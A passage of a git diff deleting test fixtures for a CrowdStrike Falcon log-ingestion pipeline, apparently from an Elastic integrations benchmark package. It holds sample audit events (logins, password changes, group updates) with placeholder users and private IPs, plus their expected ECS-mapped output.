-        "eventCreationTime": 1582830772000,
-        "version": "1.0"
-    },
-    "event": {
-        "SessionId": "6020260b-0398-4d41-999d-5531b55522de",
-        "HostnameField": "hostnameofmachine",
-        "UserName": "first.last@company.com",
-        "EndTimestamp": 1582830772
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 0,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581542950710,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz",
-        "UserIp": "10.10.0.8",
-        "OperationName": "streamStarted",
-        "ServiceName": "Crowdstrike Streaming API",
-        "Success": true,
-        "UTCTimestamp": 1581542950,
-        "AuditKeyValues": [
-            {
-                "Key": "APIClientID",
-                "ValueString": "1234567890abcdefghijklmnopqr"
-            },
-            {
-                "Key": "partition",
-                "ValueString": "0"
-            },
-            {
-                "Key": "offset",
-                "ValueString": "-1"
-            },
-            {
-                "Key": "appId",
-                "ValueString": "siem-connector-v2.0.0"
-            },
-            {
-                "Key": "eventType",
-                "ValueString": "[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]"
-            }
-        ]
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 1,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581543577147,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "twoFactorAuthenticate",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581543577147
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 2,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581545677554,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "bob@company.com",
-        "UserIp": "192.168.6.3",
-        "OperationName": "twoFactorAuthenticate",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581545677554
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 3,
-        "eventType": "UserActivityAuditEvent",
-        "eventCreationTime": 1581546248000,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "chris@company.com",
-        "UserIp": "192.168.6.13",
-        "OperationName": "update_group",
-        "ServiceName": "groups",
-        "AuditKeyValues": [
-            {
-                "Key": "group_id",
-                "ValueString": "3c80ce30b9654cb4bd15beec6a517e65"
-            },
-            {
-                "Key": "action_name",
-                "ValueString": "add_group_member"
-            }
-        ],
-        "UTCTimestamp": 1581546248
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 4,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581601312140,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "requestResetPassword",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581601312140,
-        "AuditKeyValues": [
-            {
-                "Key": "target_name",
-                "ValueString": "alice@company.com"
-            }
-        ]
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 5,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581601341730,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "twoFactorAuthenticate",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581601341730
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 6,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581601520236,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "changePassword",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581601520236,
-        "AuditKeyValues": [
-            {
-                "Key": "target_name",
-                "ValueString": "first.last@company.com"
-            }
-        ]
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 7,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581601572362,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "userAuthenticate",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581601572362
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 8,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581601814754,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "twoFactorAuthenticate",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581601814754
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 9,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581601820289,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "selfAcceptEula",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581601820289
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 10,
-        "eventType": "UserActivityAuditEvent",
-        "eventCreationTime": 1581603262000,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "detection_update",
-        "ServiceName": "detections",
-        "AuditKeyValues": [
-            {
-                "Key": "detection_id",
-                "ValueString": "ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745"
-            },
-            {
-                "Key": "new_state",
-                "ValueString": "in_progress"
-            },
-            {
-                "Key": "assigned_to",
-                "ValueString": "First Last"
-            },
-            {
-                "Key": "assigned_to_uid",
-                "ValueString": "first.last@company.com"
-            }
-        ],
-        "UTCTimestamp": 1581603262
-    }
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json
deleted file mode 100644
index 6915a16dca..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json
+++ /dev/null
@@ -1,786 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2020-02-27T19:12:14.000Z",
-            "crowdstrike": {
-                "event": {
-                    "SessionId": "6020260b-0398-4d41-999d-5531b55522de"
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "RemoteResponseSessionStartEvent",
-                    "offset": 1045,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "remote_response_session_start_event"
-                ],
-                "category": [
-                    "network",
-                    "session"
-                ],
-                "created": "2020-02-27T19:12:14.000Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 1045,\n        \"eventType\": \"RemoteResponseSessionStartEvent\",\n        \"eventCreationTime\": 1582830734000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"SessionId\": \"6020260b-0398-4d41-999d-5531b55522de\",\n        \"HostnameField\": \"hostnameofmachine\",\n        \"UserName\": \"first.last@company.com\",\n        \"StartTimestamp\": 1582830734\n    }\n}",
-                "start": "2020-02-27T19:12:14.000Z",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "name": "hostnameofmachine"
-            },
-            "message": "Remote response session started.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "hostnameofmachine"
-                ],
-                "user": [
-                    "first.last",
-                    "first.last@company.com"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "first.last@company.com",
-                "name": "first.last"
-            }
-        },
-        {
-            "@timestamp": "2020-02-27T19:12:52.000Z",
-            "crowdstrike": {
-                "event": {
-                    "SessionId": "6020260b-0398-4d41-999d-5531b55522de"
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "RemoteResponseSessionEndEvent",
-                    "offset": 1046,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "remote_response_session_end_event"
-                ],
-                "category": [
-                    "network",
-                    "session"
-                ],
-                "created": "2020-02-27T19:12:52.000Z",
-                "end": "2020-02-27T19:12:52.000Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 1046,\n        \"eventType\": \"RemoteResponseSessionEndEvent\",\n        \"eventCreationTime\": 1582830772000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"SessionId\": \"6020260b-0398-4d41-999d-5531b55522de\",\n        \"HostnameField\": \"hostnameofmachine\",\n        \"UserName\": \"first.last@company.com\",\n        \"EndTimestamp\": 1582830772\n    }\n}",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "name": "hostnameofmachine"
-            },
-            "message": "Remote response session ended.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "hostnameofmachine"
-                ],
-                "user": [
-                    "first.last",
-                    "first.last@company.com"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "first.last@company.com",
-                "name": "first.last"
-            }
-        },
-        {
-            "@timestamp": "2020-02-12T21:29:10.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AuditKeyValues": [
-                        {
-                            "Key": "APIClientID",
-                            "ValueString": "1234567890abcdefghijklmnopqr"
-                        },
-                        {
-                            "Key": "partition",
-                            "ValueString": "0"
-                        },
-                        {
-                            "Key": "offset",
-                            "ValueString": "-1"
-                        },
-                        {
-                            "Key": "appId",
-                            "ValueString": "siem-connector-v2.0.0"
-                        },
-                        {
-                            "Key": "eventType",
-                            "ValueString": "[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]"
-                        }
-                    ],
-                    "OperationName": "streamStarted",
-                    "Success": true
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "AuthActivityAuditEvent",
-                    "offset": 0,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "streamStarted"
-                ],
-                "category": [
-                    "iam"
-                ],
-                "created": "2020-02-12T21:29:10.710Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 0,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581542950710,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"api-client-id:1234567890abcdefghijklmnopqrstuvwxyz\",\n        \"UserIp\": \"10.10.0.8\",\n        \"OperationName\": \"streamStarted\",\n        \"ServiceName\": \"Crowdstrike Streaming API\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581542950,\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"APIClientID\",\n                \"ValueString\": \"1234567890abcdefghijklmnopqr\"\n            },\n            {\n                \"Key\": \"partition\",\n                \"ValueString\": \"0\"\n            },\n            {\n                \"Key\": \"offset\",\n                \"ValueString\": \"-1\"\n            },\n            {\n                \"Key\": \"appId\",\n                \"ValueString\": \"siem-connector-v2.0.0\"\n            },\n            {\n                \"Key\": \"eventType\",\n                \"ValueString\": \"[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]\"\n            }\n        ]\n    }\n}",
-                "outcome": "success"
-            },
-            "message": "Crowdstrike Streaming API",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "10.10.0.8"
-                ],
-                "user": [
-                    "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz"
-                ]
-            },
-            "source": {
-                "ip": "10.10.0.8"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz"
-            }
-        },
-        {
-            "@timestamp": "2020-02-12T21:39:37.147Z",
-            "crowdstrike": {
-                "event": {
-                    "OperationName": "twoFactorAuthenticate",
-                    "Success": true
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "AuthActivityAuditEvent",
-                    "offset": 1,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "twoFactorAuthenticate"
-                ],
-                "category": [
-                    "authentication"
-                ],
-                "created": "2020-02-12T21:39:37.147Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 1,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581543577147,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"twoFactorAuthenticate\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581543577147\n    }\n}",
-                "outcome": "success"
-            },
-            "message": "CrowdStrike Authentication",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "192.168.6.8"
-                ],
-                "user": [
-                    "alice",
-                    "alice@company.com"
-                ]
-            },
-            "source": {
-                "ip": "192.168.6.8"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "alice@company.com",
-                "name": "alice"
-            }
-        },
-        {
-            "@timestamp": "2020-02-12T22:14:37.554Z",
-            "crowdstrike": {
-                "event": {
-                    "OperationName": "twoFactorAuthenticate",
-                    "Success": true
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "AuthActivityAuditEvent",
-                    "offset": 2,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "twoFactorAuthenticate"
-                ],
-                "category": [
-                    "authentication"
-                ],
-                "created": "2020-02-12T22:14:37.554Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 2,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581545677554,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"bob@company.com\",\n        \"UserIp\": \"192.168.6.3\",\n        \"OperationName\": \"twoFactorAuthenticate\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581545677554\n    }\n}",
-                "outcome": "success"
-            },
-            "message": "CrowdStrike Authentication",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "192.168.6.3"
-                ],
-                "user": [
-                    "bob",
-                    "bob@company.com"
-                ]
-            },
-            "source": {
-                "ip": "192.168.6.3"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "bob@company.com",
-                "name": "bob"
-            }
-        },
-        {
-            "@timestamp": "2020-02-12T22:24:08.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AuditKeyValues": [
-                        {
-                            "Key": "group_id",
-                            "ValueString": "3c80ce30b9654cb4bd15beec6a517e65"
-                        },
-                        {
-                            "Key": "action_name",
-                            "ValueString": "add_group_member"
-                        }
-                    ],
-                    "ServiceName": "groups"
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "UserActivityAuditEvent",
-                    "offset": 3,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "user_activity_audit_event",
-                "category": [
-                    "iam"
-                ],
-                "created": "2020-02-12T22:24:08.000Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 3,\n        \"eventType\": \"UserActivityAuditEvent\",\n        \"eventCreationTime\": 1581546248000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"chris@company.com\",\n        \"UserIp\": \"192.168.6.13\",\n        \"OperationName\": \"update_group\",\n        \"ServiceName\": \"groups\",\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"group_id\",\n                \"ValueString\": \"3c80ce30b9654cb4bd15beec6a517e65\"\n            },\n            {\n                \"Key\": \"action_name\",\n                \"ValueString\": \"add_group_member\"\n            }\n        ],\n        \"UTCTimestamp\": 1581546248\n    }\n}",
-                "type": [
-                    "change"
-                ]
-            },
-            "message": "update_group",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "192.168.6.13"
-                ],
-                "user": [
-                    "chris",
-                    "chris@company.com"
-                ]
-            },
-            "source": {
-                "ip": "192.168.6.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "chris@company.com",
-                "name": "chris"
-            }
-        },
-        {
-            "@timestamp": "2020-02-13T13:41:52.140Z",
-            "crowdstrike": {
-                "event": {
-                    "AuditKeyValues": [
-                        {
-                            "Key": "target_name",
-                            "ValueString": "alice@company.com"
-                        }
-                    ],
-                    "OperationName": "requestResetPassword",
-                    "Success": true
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "AuthActivityAuditEvent",
-                    "offset": 4,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "requestResetPassword"
-                ],
-                "category": [
-                    "iam"
-                ],
-                "created": "2020-02-13T13:41:52.140Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 4,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581601312140,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"requestResetPassword\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581601312140,\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"target_name\",\n                \"ValueString\": \"alice@company.com\"\n            }\n        ]\n    }\n}",
-                "outcome": "success"
-            },
-            "message": "CrowdStrike Authentication",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "192.168.6.8"
-                ],
-                "user": [
-                    "alice",
-                    "alice@company.com"
-                ]
-            },
-            "source": {
-                "ip": "192.168.6.8"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "alice@company.com",
-                "name": "alice"
-            }
-        },
-        {
-            "@timestamp": "2020-02-13T13:42:21.730Z",
-            "crowdstrike": {
-                "event": {
-                    "OperationName": "twoFactorAuthenticate",
-                    "Success": true
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "AuthActivityAuditEvent",
-                    "offset": 5,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "twoFactorAuthenticate"
-                ],
-                "category": [
-                    "authentication"
-                ],
-                "created": "2020-02-13T13:42:21.730Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 5,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581601341730,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"twoFactorAuthenticate\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581601341730\n    }\n}",
-                "outcome": "success"
-            },
-            "message": "CrowdStrike Authentication",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "192.168.6.8"
-                ],
-                "user": [
-                    "alice",
-                    "alice@company.com"
-                ]
-            },
-            "source": {
-                "ip": "192.168.6.8"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "alice@company.com",
-                "name": "alice"
-            }
-        },
-        {
-            "@timestamp": "2020-02-13T13:45:20.236Z",
-            "crowdstrike": {
-                "event": {
-                    "AuditKeyValues": [
-                        {
-                            "Key": "target_name",
-                            "ValueString": "first.last@company.com"
-                        }
-                    ],
-                    "OperationName": "changePassword",
-                    "Success": true
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "AuthActivityAuditEvent",
-                    "offset": 6,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "changePassword"
-                ],
-                "category": [
-                    "iam"
-                ],
-                "created": "2020-02-13T13:45:20.236Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 6,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581601520236,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"changePassword\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581601520236,\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"target_name\",\n                \"ValueString\": \"first.last@company.com\"\n            }\n        ]\n    }\n}",
-                "outcome": "success",
-                "type": [
-                    "user",
-                    "change"
-                ]
-            },
-            "message": "CrowdStrike Authentication",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "192.168.6.8"
-                ],
-                "user": [
-                    "alice",
-                    "alice@company.com"
-                ]
-            },
-            "source": {
-                "ip": "192.168.6.8"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "alice@company.com",
-                "name": "alice"
-            }
-        },
-        {
-            "@timestamp": "2020-02-13T13:46:12.362Z",
-            "crowdstrike": {
-                "event": {
-                    "OperationName": "userAuthenticate",
-                    "Success": true
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "AuthActivityAuditEvent",
-                    "offset": 7,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "userAuthenticate"
-                ],
-                "category": [
-                    "authentication"
-                ],
-                "created": "2020-02-13T13:46:12.362Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 7,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581601572362,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"userAuthenticate\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581601572362\n    }\n}",
-                "outcome": "success"
-            },
-            "message": "CrowdStrike Authentication",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "192.168.6.8"
-                ],
-                "user": [
-                    "alice",
-                    "alice@company.com"
-                ]
-            },
-            "source": {
-                "ip": "192.168.6.8"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "alice@company.com",
-                "name": "alice"
-            }
-        },
-        {
-            "@timestamp": "2020-02-13T13:50:14.754Z",
-            "crowdstrike": {
-                "event": {
-                    "OperationName": "twoFactorAuthenticate",
-                    "Success": true
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "AuthActivityAuditEvent",
-                    "offset": 8,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "twoFactorAuthenticate"
-                ],
-                "category": [
-                    "authentication"
-                ],
-                "created": "2020-02-13T13:50:14.754Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 8,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581601814754,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"twoFactorAuthenticate\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581601814754\n    }\n}",
-                "outcome": "success"
-            },
-            "message": "CrowdStrike Authentication",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "192.168.6.8"
-                ],
-                "user": [
-                    "alice",
-                    "alice@company.com"
-                ]
-            },
-            "source": {
-                "ip": "192.168.6.8"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "alice@company.com",
-                "name": "alice"
-            }
-        },
-        {
-            "@timestamp": "2020-02-13T13:50:20.289Z",
-            "crowdstrike": {
-                "event": {
-                    "OperationName": "selfAcceptEula",
-                    "Success": true
-                },
-                "metadata": {
-                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-                    "eventType": "AuthActivityAuditEvent",
-                    "offset": 9,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "selfAcceptEula"
-                ],
-                "category": [
-                    "iam"
-                ],
-                "created": "2020-02-13T13:50:20.289Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 9,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581601820289,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"selfAcceptEula\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581601820289\n    }\n}",
-                "outcome": "success"
-            },
-            "message": "CrowdStrike Authentication",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "192.168.6.8"
-                ],
-                "user": [
-                    "alice",
-                    "alice@company.com"
-                ]
-            },
-            "source": {
-                "ip": "192.168.6.8"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "alice@company.com",
-                "name": "alice"
-            }
-        },
-        {
-            "@timestamp": "2020-02-13T14:14:22.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AuditKeyValues": [
-                        {
-                            "Key": "detection_id",
-                            "ValueString": "ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745"
-                        },
-                        {
-                            "Key": "new_state",
